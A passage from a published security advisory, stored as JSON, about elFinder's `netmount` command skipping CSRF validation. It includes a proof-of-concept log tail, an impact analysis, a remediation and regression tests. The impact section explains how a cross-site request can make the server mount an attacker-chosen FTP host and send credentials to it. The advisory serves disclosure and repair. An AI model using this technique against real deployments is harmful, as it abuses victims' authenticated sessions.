ON\nCMD HELP\nCMD epsv4 off\nCMD PASV\nCMD CWD /\nCMD PWD\nCMD FEAT\nCMD MLST /\nCLOSE\n```\n\nThe negative/control case is the `mkdir` request: without `X-elFinder-CSRF`, it returns HTTP 403 and `csrfReload:true`. The positive case is `netmount`: without `X-elFinder-CSRF`, it returns HTTP 200 with `added` and the fake FTP server logs the server-side FTP connection.\n\nCleanup:\n\n```sh\n# Stop the two local server processes, then remove the disposable harness.\nrm -rf /tmp/elfinder-csrf-poc-claude\n```\n\n### Impact\nAn attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for `netmount`. In the shipped minimal connector configuration, this lets the attacker:\n\n- force the victim's elFinder session to persist an attacker-chosen FTP network volume;\n- cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;\n- send attacker-supplied FTP username/password values to that endpoint; and\n- expose the victim's later file-manager UI to the mounted remote volume.\n\nThe proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts `netmount` without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.\n\nThe impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing `netmount` CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session.\n\n### Suggested remediation\nRequire CSRF validation for `netmount`, including `protocol=netunmount`, before executing the command. The minimal fix is to add `netmount` to `elFinderConnector::$csrfProtectedCmds` in `php/elFinderConnector.class.php`.\n\nAlso consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.\n\nSuggested regression tests:\n\n- A request to `cmd=netmount\u0026protocol=ftp\u0026host=127.0.0.1\u0026port=\u003clocal-port\u003e` without `X-elFinder-CSRF` must return HTTP 403 and must not connect to the FTP listener.\n- The same request with the valid token from `cmd=open\u0026init=1` should preserve intended behavior for authorized users.\n- `protocol=netunmount` should also reject missing/invalid CSRF tokens.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)\n- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)","status":"published","published":"2026-09-02T14:37:36Z","modified":"2026-09-02T14:45:05.145444935Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:46:43.875515Z"}]}}
